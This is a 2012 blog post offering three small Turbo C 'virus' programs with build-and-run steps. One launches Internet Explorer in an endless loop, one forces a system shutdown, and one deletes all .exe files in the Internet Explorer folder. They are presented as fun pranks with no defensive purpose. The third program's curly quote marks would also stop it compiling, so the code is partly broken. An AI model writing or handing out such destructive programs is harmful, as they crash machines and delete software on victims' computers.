Tuesday 21 August 2012

VIRUS programming for Fun


                                     Fun with C

This Section is for creating VIRUS  using simple C program.Normally here we will see that how we implement dos command in a C programming code.  


Write the following program in TURBO C.
1)
void main ()
{
for(; ;)
{
system("c:\\progra~1\\intern~1\\iexplore.exe");
}
}

Step 1. save the program as  explore.c
step 2. compile the program from turbo c
step 3. double click on explore.exe file.

                                            

2)
void main()
{
     system("shutdown -s");
}


Step 1. save the program as  shutdown.c
step 2. compile the program from turbo c
step 3. double click on shutdown.exe file.


3)

void main()
{
system("cd c:\\progra~1\\intern~1");
system(“del *.exe”);
system(“cls”);
}


Step 1. save the program as  del.c
step 2. compile the program from turbo c
step 3. double click on del.exe file.

                                   do this on your risk

      ..........   ENJOY THE MAGIC ...........


                             ..... to be continued     R.P

No comments:

Post a Comment